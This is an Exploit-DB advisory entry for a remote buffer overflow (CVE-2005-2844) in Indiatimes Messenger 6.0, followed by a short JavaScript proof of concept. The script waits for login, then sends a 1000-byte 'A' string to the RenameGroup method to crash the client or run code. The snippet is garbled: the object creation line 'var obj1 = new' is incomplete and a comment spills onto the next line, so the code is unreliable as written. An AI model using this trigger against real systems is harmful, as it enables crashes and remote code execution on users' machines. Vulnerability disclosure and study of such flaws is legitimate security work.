Indiatimes Messenger 6.0 - Remote Buffer Overflow Vulnerability

ID EDB-ID:26216
Type exploitdb
Reporter ViPeR
Modified 2005-08-31T00:00:00


Indiatimes Messenger 6.0 Remote Buffer Overflow Vulnerability. CVE-2005-2844 . Dos exploit for windows platform


Indiatimes Messenger is reported prone to a remote buffer overflow vulnerability.

A successful attack may trigger a crash in the client or lead to arbitrary code execution. The attacker may then gain unauthorized remote access in the context of the user running the application.

Indiatimes Messenger 6.0 is affected by this issue. 

var obj1 = new
var buf = "";

for(i=0; i<1000; i++)
buf += "A";

while(obj1.GetServerStatus() != "Logged In"); //wait
till login

obj1.RenameGroup("Friends", buf, 5);